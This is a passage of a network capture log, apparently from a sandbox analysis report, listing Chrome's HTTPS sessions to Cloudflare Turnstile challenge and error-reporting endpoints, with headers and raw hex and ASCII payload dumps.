12	192.168.2.16	49715	35.190.80.1	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:25 UTC	480	OUT	POST /report/v4?s=YFF9K0pSThgn1k3xDR9bk2Bo1W02aZC%2FVD0u0PZzwqpxidOlTDI00%2FVHiqEZIfWFvW2BSMaI%2FIx6tbaSUiURgK9RqNfPKH%2BIAlWuht0lHe3HFa59OCHCwcW%2FoX19L0H7nNlp HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 426 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:25 UTC	426	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 37 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 7a 61 73 74 72 6f 6d 74 73 2e 7a 61 2e 63 6f 6d 2f 76 33 6f 58 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 Data Ascii: [{"age":0,"body":{"elapsed_time":378,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://zastromts.za.com/v3oX/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error","u
2024-10-30 15:25:25 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 30 Oct 2024 15:25:25 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49718	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:25 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:25 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 15:25:25 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ytgkFveBS/Qlq+qjOsKMeXhjGu+cJ/nMngk=$NmYoYA6X8cuHfJR1 Server: cloudflare CF-RAY: 8dac6afd0ee4e7a6-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:25 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49719	104.18.95.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:26 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8dac6ae8de8646e3/1730301924771/J-k-xKzMY8POWMy HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:26 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:26 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8dac6b019dab6c68-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:26 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 45 00 00 00 5c 08 02 00 00 00 b7 36 ef 2d 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRE\6-IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49721	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:27 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8dac6ae8de8646e3/1730301924771/J-k-xKzMY8POWMy HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:27 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:27 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8dac6b068dd4e95e-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:27 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 45 00 00 00 5c 08 02 00 00 00 b7 36 ef 2d 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRE\6-IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49720	104.18.95.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:27 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8dac6ae8de8646e3/1730301924772/fe537286ceb89a55716c661ecf427a781292ce81a9c38ba6b73be269c1150e02/1ybUAN2X_rtC87V HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:27 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 30 Oct 2024 15:25:27 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-30 15:25:27 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 5f 6c 4e 79 68 73 36 34 6d 6c 56 78 62 47 59 65 7a 30 4a 36 65 42 4b 53 7a 6f 47 70 77 34 75 6d 74 7a 76 69 61 63 45 56 44 67 49 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g_lNyhs64mlVxbGYez0J6eBKSzoGpw4umtzviacEVDgIAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-30 15:25:27 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49724	104.18.95.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:28 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31916 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:28 UTC	16384	OUT	Data Raw: 76 5f 38 64 61 63 36 61 65 38 64 65 38 36 34 36 65 33 3d 67 30 4c 47 35 6e 39 78 62 70 4c 38 4c 38 78 5a 41 39 35 43 65 24 46 43 6c 39 39 72 43 74 47 44 30 43 74 43 65 47 4a 4c 5a 75 43 55 43 6e 79 5a 37 36 73 43 58 70 33 43 5a 59 47 6e 66 43 31 47 4a 62 43 6b 43 34 79 6c 4c 4c 43 70 30 39 65 39 39 76 43 39 39 64 32 4e 51 6c 6c 56 6d 47 43 52 6d 43 31 37 36 47 48 6f 65 47 6e 4a 43 33 63 59 6e 38 4f 43 51 76 59 5a 4c 43 70 79 43 54 41 47 43 56 31 48 46 43 43 79 62 43 6b 4e 43 5a 70 34 70 59 43 61 4b 63 4d 31 35 6a 6d 56 63 59 43 50 68 53 48 4c 41 46 4e 69 78 50 33 31 73 65 63 59 6b 4c 4c 51 51 4e 6e 43 47 4c 43 38 32 4c 43 5a 75 53 69 56 47 41 30 43 38 6c 7a 6e 70 51 6c 68 67 75 72 49 59 6e 53 70 41 41 33 61 31 41 6f 2d 7a 56 72 56 47 24 24 35 4f 48 39 6b Data Ascii: v_8dac6ae8de8646e3=g0LG5n9xbpL8L8xZA95Ce$FCl99rCtGD0CtCeGJLZuCUCnyZ76sCXp3CZYGnfC1GJbCkC4ylLLCp09e99vC99d2NQllVmGCRmC176GHoeGnJC3cYn8OCQvYZLCpyCTAGCV1HFCCybCkNCZp4pYCaKcM15jmVcYCPhSHLAFNixP31secYkLLQQNnCGLC82LCZuSiVGA0C8lznpQlhgurIYnSpAA3a1Ao-zVrVG$$5OH9k
2024-10-30 15:25:28 UTC	15532	OUT	Data Raw: 77 68 64 62 47 24 59 6e 37 43 59 43 2d 62 54 43 44 74 39 4c 39 53 43 63 43 6c 6a 39 53 39 5a 43 70 47 43 43 43 52 24 34 38 30 39 49 43 79 59 6e 77 6d 73 43 7a 53 43 69 43 42 43 39 33 39 43 39 7a 43 5a 59 38 48 43 62 43 67 43 6e 4a 39 65 43 6e 6a 43 68 39 6b 43 4e 6a 39 78 43 54 43 6e 59 38 31 47 71 77 41 4a 58 78 39 30 43 6c 43 46 45 6d 76 43 33 76 39 59 39 4f 77 78 75 43 62 39 51 43 67 78 4d 31 39 6e 43 31 78 58 69 39 36 54 71 47 46 46 43 4e 43 65 43 24 47 5a 70 67 4e 59 38 69 43 76 43 6c 43 4a 48 43 54 43 33 6a 46 74 43 4a 43 6d 6a 6e 74 43 6b 43 4c 64 58 6a 43 39 43 58 4d 35 39 2d 45 77 65 68 6f 66 2d 72 38 79 62 39 73 39 63 75 6b 4f 66 44 2d 62 68 65 6b 66 75 36 61 59 7a 39 58 7a 62 46 45 38 59 70 66 2d 62 68 33 48 24 43 6e 53 59 44 43 46 74 59 63 47 Data Ascii: whdbG$Yn7CYC-bTCDt9L9SCcClj9S9ZCpGCCCR$4809ICyYnwmsCzSCiCBC939C9zCZY8HCbCgCnJ9eCnjCh9kCNj9xCTCnY81GqwAJXx90ClCFEmvC3v9Y9OwxuCb9QCgxM19nC1xXi96TqGFFCNCeC$GZpgNY8iCvClCJHCTC3jFtCJCmjntCkCLdXjC9CXM59-Ewehof-r8yb9s9cukOfD-bhekfu6aYz9XzbFE8Ypf-bh3H$CnSYDCFtYcG
2024-10-30 15:25:28 UTC	330	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:28 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26312 Connection: close cf-chl-gen: fgJzwvr3B0rub2ZgICQ+Gq3lsQzAVFbdv6K0Bu5Vx1cPjbwB5gOqll4BDAoiuUHHiBvXs6e6P8rpBHU6$zeits05EW1GbM3AG Server: cloudflare CF-RAY: 8dac6b0bfab92873-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:28 UTC	1039	IN	Data Raw: 73 37 61 57 63 34 56 33 6a 4b 32 66 74 5a 79 6c 70 62 4f 44 74 4c 75 5a 70 59 53 4b 75 6f 79 49 6a 72 36 75 79 74 44 43 74 73 4b 55 71 71 33 62 72 71 65 30 76 62 61 74 78 4c 75 2f 32 4c 50 6b 78 4c 79 31 32 2b 76 42 7a 61 7a 79 73 4e 2b 71 38 50 48 42 30 74 4c 62 31 65 76 34 39 2f 4f 33 41 37 36 2f 76 2b 2f 54 78 74 72 58 43 41 4c 66 32 2f 66 50 41 64 2f 52 37 52 59 44 30 39 51 55 45 41 50 34 2f 42 38 54 43 4f 67 54 48 4f 45 65 49 39 67 61 47 78 51 6a 48 75 4d 4a 4c 77 77 4d 41 2f 6f 4d 49 67 51 32 44 42 6f 4b 4f 78 54 75 4d 50 59 49 38 68 4d 62 4e 6a 58 33 42 79 49 47 41 30 6b 48 49 69 77 39 48 54 30 6d 51 6c 51 53 51 67 38 31 4b 54 6c 48 53 56 6f 70 46 54 6c 64 51 78 78 46 58 45 38 31 55 68 39 4b 4a 45 56 56 4e 6b 38 6d 5a 44 77 2f 58 54 42 48 55 45 42 Data Ascii: s7aWc4V3jK2ftZylpbODtLuZpYSKuoyIjr6uytDCtsKUqq3brqe0vbatxLu/2LPkxLy12+vBzazysN+q8PHB0tLb1ev49/O3A76/v+/TxtrXCALf2/fPAd/R7RYD09QUEAP4/B8TCOgTHOEeI9gaGxQjHuMJLwwMA/oMIgQ2DBoKOxTuMPYI8hMbNjX3ByIGA0kHIiw9HT0mQlQSQg81KTlHSVopFTldQxxFXE81Uh9KJEVVNk8mZDw/XTBHUEB
2024-10-30 15:25:28 UTC	1369	IN	Data Raw: 53 6f 4a 4b 69 71 49 71 58 6a 63 57 69 71 36 62 4d 70 5a 36 79 31 4c 43 68 7a 37 4c 51 30 72 75 59 30 4f 44 56 6e 64 57 62 32 73 58 67 73 38 69 6f 37 4b 54 67 34 37 33 6f 7a 2b 76 53 34 4f 69 77 7a 38 47 35 78 64 48 54 36 75 33 79 33 4c 6a 38 39 77 58 50 34 77 44 63 43 74 72 34 43 67 62 74 43 75 4c 71 37 41 72 39 39 76 49 47 37 77 2f 72 2b 76 73 63 33 65 38 66 2b 76 59 6c 32 77 51 70 4a 53 66 6d 43 65 54 73 2f 4f 73 4d 4d 53 45 70 4c 4f 63 43 45 6a 41 54 46 43 77 34 4b 44 67 50 45 78 6f 31 2b 78 38 31 4d 50 6b 38 4f 6b 41 73 4f 52 5a 50 43 54 35 50 43 52 78 48 48 68 55 50 4d 31 64 63 54 6a 52 47 58 31 77 30 4f 52 34 79 51 53 46 41 55 31 6f 36 50 30 42 49 5a 6b 6c 78 58 6c 39 79 54 30 46 72 50 7a 64 4d 62 56 6c 55 57 58 4a 70 53 46 56 63 54 57 4e 4e 54 6d Data Ascii: SoJKiqIqXjcWiq6bMpZ6y1LChz7LQ0ruY0ODVndWb2sXgs8io7KTg473oz+vS4Oiwz8G5xdHT6u3y3Lj89wXP4wDcCtr4CgbtCuLq7Ar99vIG7w/r+vsc3e8f+vYl2wQpJSfmCeTs/OsMMSEpLOcCEjATFCw4KDgPExo1+x81MPk8OkAsORZPCT5PCRxHHhUPM1dcTjRGX1w0OR4yQSFAU1o6P0BIZklxXl9yT0FrPzdMbVlUWXJpSFVcTWNNTm
2024-10-30 15:25:28 UTC	1369	IN	Data Raw: 78 71 43 37 6f 63 36 71 71 70 43 67 71 4d 69 34 77 71 7a 45 74 61 33 63 7a 72 53 31 33 4e 57 35 32 61 48 46 35 37 62 72 34 71 7a 45 70 75 6e 62 30 64 79 39 34 74 50 76 34 62 4c 58 37 39 72 61 78 2f 54 6f 34 76 76 68 31 75 48 58 35 51 66 47 36 65 4c 66 42 65 50 4a 79 51 62 62 41 50 41 42 41 73 2f 51 39 78 49 61 43 76 37 65 39 74 76 38 46 51 4d 6c 44 39 38 59 48 2f 73 73 47 42 2f 2b 35 75 72 6d 4a 51 55 4d 49 67 76 73 49 50 55 4c 4f 50 4d 50 42 6a 4d 50 41 43 37 34 4d 6a 51 42 49 52 55 37 48 43 6b 61 53 69 56 46 53 52 6b 4e 56 43 67 69 52 6c 46 5a 4d 46 73 58 4b 54 51 36 4b 45 34 34 59 43 39 44 4c 6c 59 67 57 7a 38 6e 53 55 74 73 5a 30 56 78 4b 45 56 49 64 46 42 44 61 58 6c 69 62 46 56 6d 4f 6e 5a 5a 58 49 4a 69 57 6a 78 79 58 32 65 47 63 57 5a 4c 59 6f 70 Data Ascii: xqC7oc6qqpCgqMi4wqzEta3czrS13NW52aHF57br4qzEpunb0dy94tPv4bLX79rax/To4vvh1uHX5QfG6eLfBePJyQbbAPABAs/Q9xIaCv7e9tv8FQMlD98YH/ssGB/+5urmJQUMIgvsIPULOPMPBjMPAC74MjQBIRU7HCkaSiVFSRkNVCgiRlFZMFsXKTQ6KE44YC9DLlYgWz8nSUtsZ0VxKEVIdFBDaXlibFVmOnZZXIJiWjxyX2eGcWZLYop
2024-10-30 15:25:28 UTC	1369	IN	Data Raw: 59 36 6a 78 71 65 31 71 73 66 59 6b 37 79 78 74 5a 6a 57 6d 36 36 65 78 64 32 35 70 64 7a 55 70 61 33 4c 7a 65 4f 71 35 2b 72 47 74 4e 50 44 7a 75 58 55 2b 50 32 39 33 4d 72 67 37 76 66 2b 38 65 50 4f 31 76 6e 39 79 76 6e 56 44 64 62 63 32 77 2f 52 33 76 54 30 33 78 63 4b 79 2b 6e 31 32 4e 30 59 44 4e 6e 68 44 42 50 62 47 75 59 59 45 53 55 4a 46 43 34 62 2f 51 34 63 45 76 6f 72 37 54 55 48 39 77 59 58 43 78 59 64 4d 66 59 65 39 77 45 43 4d 77 4a 44 44 78 41 78 43 69 42 4b 4e 53 46 42 51 53 56 46 44 51 77 70 4d 54 49 54 4d 44 6c 51 4e 6b 77 74 57 6d 45 68 50 42 77 77 4d 6a 42 6e 56 46 73 6e 57 56 34 6c 57 6c 70 6b 53 33 4e 72 4d 31 52 55 4d 58 52 4a 65 56 56 59 62 46 35 38 53 46 69 41 50 47 78 65 50 58 39 2b 63 6e 6c 63 69 55 78 4f 66 6b 74 62 55 48 52 47 Data Ascii: Y6jxqe1qsfYk7yxtZjWm66exd25pdzUpa3LzeOq5+rGtNPDzuXU+P293Mrg7vf+8ePO1vn9yvnVDdbc2w/R3vT03xcKy+n12N0YDNnhDBPbGuYYESUJFC4b/Q4cEvor7TUH9wYXCxYdMfYe9wECMwJDDxAxCiBKNSFBQSVFDQwpMTITMDlQNkwtWmEhPBwwMjBnVFsnWV4lWlpkS3NrM1RUMXRJeVVYbF58SFiAPGxePX9+cnlciUxOfktbUHRG
2024-10-30 15:25:28 UTC	1369	IN	Data Raw: 66 58 31 38 71 36 7a 37 4b 77 32 70 37 52 7a 72 6a 6e 75 39 7a 71 34 4e 57 6b 75 4c 6a 51 72 63 79 72 71 38 7a 6f 30 76 72 6b 36 4d 2f 47 74 66 62 51 38 4c 6e 31 32 4d 2f 53 42 4e 76 58 34 39 6f 48 41 74 72 6a 36 4f 4c 36 42 42 50 6f 7a 4f 59 56 44 74 55 5a 31 2b 33 34 41 42 33 5a 45 79 49 42 38 50 67 51 49 2f 33 36 39 53 37 6d 43 53 44 70 41 53 30 55 38 41 38 43 36 66 45 33 42 51 59 56 4e 44 45 79 2f 6a 41 55 44 7a 77 50 4a 53 59 45 51 79 49 64 42 44 6f 4e 4d 46 45 39 4b 56 4d 53 54 77 30 70 46 41 77 36 54 42 68 4b 4b 52 74 68 54 6a 6f 7a 5a 56 41 5a 61 57 59 71 57 32 74 6f 57 47 78 46 63 56 31 4b 63 6e 46 4c 4c 55 77 79 54 32 64 38 4e 7a 41 35 63 7a 6c 42 55 6e 32 43 4f 45 41 2f 51 44 77 39 6a 55 68 33 67 47 39 49 6a 6d 5a 64 6c 6f 46 56 6b 4a 4e 59 64 Data Ascii: fX18q6z7Kw2p7Rzrjnu9zq4NWkuLjQrcyrq8zo0vrk6M/GtfbQ8Ln12M/SBNvX49oHAtrj6OL6BBPozOYVDtUZ1+34AB3ZEyIB8PgQI/369S7mCSDpAS0U8A8C6fE3BQYVNDEy/jAUDzwPJSYEQyIdBDoNMFE9KVMSTw0pFAw6TBhKKRthTjozZVAZaWYqW2toWGxFcV1KcnFLLUwyT2d8NzA5czlBUn2COEA/QDw9jUh3gG9IjmZdloFVkJNYd
2024-10-30 15:25:28 UTC	1369	IN	Data Raw: 68 72 65 4b 35 70 4c 66 6e 30 36 43 38 74 36 7a 6b 75 4f 33 72 38 4f 65 38 38 39 4b 2f 71 75 62 4d 74 37 76 56 33 62 79 32 79 75 75 35 74 73 33 69 35 62 6f 48 34 63 49 4b 44 4d 54 58 45 76 72 49 34 78 51 41 36 65 72 6a 31 2b 67 62 48 41 67 4d 36 69 4c 67 46 66 6f 6c 46 50 54 5a 4b 76 4d 4c 39 76 55 47 2b 65 76 76 4b 79 67 7a 2f 53 4d 77 39 67 59 33 38 50 59 47 46 79 6a 38 41 50 63 64 2b 52 41 46 50 42 6c 48 4d 30 41 58 53 7a 78 4d 49 41 67 6d 4d 68 78 57 50 78 59 68 56 6c 52 5a 55 43 56 63 4f 79 67 54 54 7a 55 67 4a 44 35 47 4a 52 38 7a 56 43 49 66 4e 6b 74 4f 49 32 39 4b 4b 33 49 31 56 6b 56 33 4f 48 42 4d 65 32 78 35 56 34 46 73 65 46 53 45 63 46 46 47 55 58 4e 4a 59 46 35 38 59 31 31 5a 61 59 69 55 6b 59 4e 6a 5a 55 75 58 6d 58 70 54 56 49 31 74 62 70 Data Ascii: hreK5pLfn06C8t6zkuO3r8Oe889K/qubMt7vV3by2yuu5ts3i5boH4cIKDMTXEvrI4xQA6erj1+gbHAgM6iLgFfolFPTZKvML9vUG+evvKygz/SMw9gY38PYGFyj8APcd+RAFPBlHM0AXSzxMIAgmMhxWPxYhVlRZUCVcOygTTzUgJD5GJR8zVCIfNktOI29KK3I1VkV3OHBMe2x5V4FseFSEcFFGUXNJYF58Y11ZaYiUkYNjZUuXmXpTVI1tbp
2024-10-30 15:25:28 UTC	1369	IN	Data Raw: 76 62 32 35 36 75 66 4d 72 66 44 46 32 38 76 79 33 2b 66 4f 39 2b 50 5a 30 2f 7a 51 2b 38 2f 2b 37 4d 33 50 42 64 6d 38 31 51 63 45 39 39 6f 4a 7a 41 44 6e 45 74 44 68 33 42 4d 41 43 4f 59 59 37 51 76 5a 48 41 67 51 36 52 38 63 45 50 41 6a 45 42 44 7a 4b 4f 63 6f 2b 43 76 73 43 76 6a 6e 42 67 37 38 4e 50 51 67 41 6a 58 34 47 67 59 38 4f 43 77 4c 51 67 45 65 48 45 51 77 4e 77 5a 49 4e 41 45 5a 54 41 30 34 48 31 41 38 4b 69 52 56 4b 56 51 6d 57 45 51 32 4e 46 74 59 53 43 39 69 49 56 41 7a 59 53 56 51 4e 6d 63 70 52 6a 5a 72 57 45 59 36 62 32 78 6a 4d 6e 52 77 55 6b 68 33 5a 47 68 46 66 46 49 31 55 48 39 37 67 46 4b 44 63 48 52 58 69 49 52 6d 57 59 35 4e 66 46 75 4e 55 57 70 6a 54 47 70 75 5a 4a 65 55 6a 48 53 63 58 6d 6c 65 6f 49 78 32 63 4b 4e 6c 68 6e 61 Data Ascii: vb256ufMrfDF28vy3+fO9+PZ0/zQ+8/+7M3PBdm81QcE99oJzADnEtDh3BMACOYY7QvZHAgQ6R8cEPAjEBDzKOco+CvsCvjnBg78NPQgAjX4GgY8OCwLQgEeHEQwNwZINAEZTA04H1A8KiRVKVQmWEQ2NFtYSC9iIVAzYSVQNmcpRjZrWEY6b2xjMnRwUkh3ZGhFfFI1UH97gFKDcHRXiIRmWY5NfFuNUWpjTGpuZJeUjHScXmleoIx2cKNlhna
2024-10-30 15:25:28 UTC	1369	IN	Data Raw: 4f 72 4b 72 65 72 44 79 4d 4c 49 78 2f 50 45 75 63 6e 58 75 64 6a 54 31 63 7a 42 30 41 62 42 34 4e 76 64 31 4d 6e 61 39 77 33 70 44 52 45 49 35 39 30 50 31 66 67 56 32 50 6e 6a 37 76 55 48 31 65 34 4c 49 50 4d 6b 49 4f 34 66 38 53 50 70 44 53 6e 73 44 76 77 76 42 53 30 70 4e 76 30 56 37 51 63 6a 4e 53 6b 33 47 41 63 33 50 6b 45 56 51 78 55 51 4f 53 4a 44 49 77 45 55 53 79 46 4a 4d 56 49 62 55 78 49 6b 4b 6c 56 42 56 56 6c 59 4d 43 78 58 57 55 78 69 4b 6b 45 61 4e 45 39 68 55 47 63 39 5a 56 64 75 4f 44 6b 75 51 55 5a 78 59 58 46 31 4c 55 78 46 63 33 56 57 66 6b 5a 64 4e 6b 39 37 66 58 6d 44 54 6f 56 6d 58 49 52 31 68 6f 35 57 62 55 5a 64 69 34 31 79 61 4a 43 42 6b 70 64 74 6c 58 70 77 6d 49 32 61 6f 6d 71 42 57 6e 52 6b 6f 59 5a 38 70 4a 6d 6d 71 34 47 70 Data Ascii: OrKrerDyMLIx/PEucnXudjT1czB0AbB4Nvd1Mna9w3pDREI590P1fgV2Pnj7vUH1e4LIPMkIO4f8SPpDSnsDvwvBS0pNv0V7QcjNSk3GAc3PkEVQxUQOSJDIwEUSyFJMVIbUxIkKlVBVVlYMCxXWUxiKkEaNE9hUGc9ZVduODkuQUZxYXF1LUxFc3VWfkZdNk97fXmDToVmXIR1ho5WbUZdi41yaJCBkpdtlXpwmI2aomqBWnRkoYZ8pJmmq4Gp

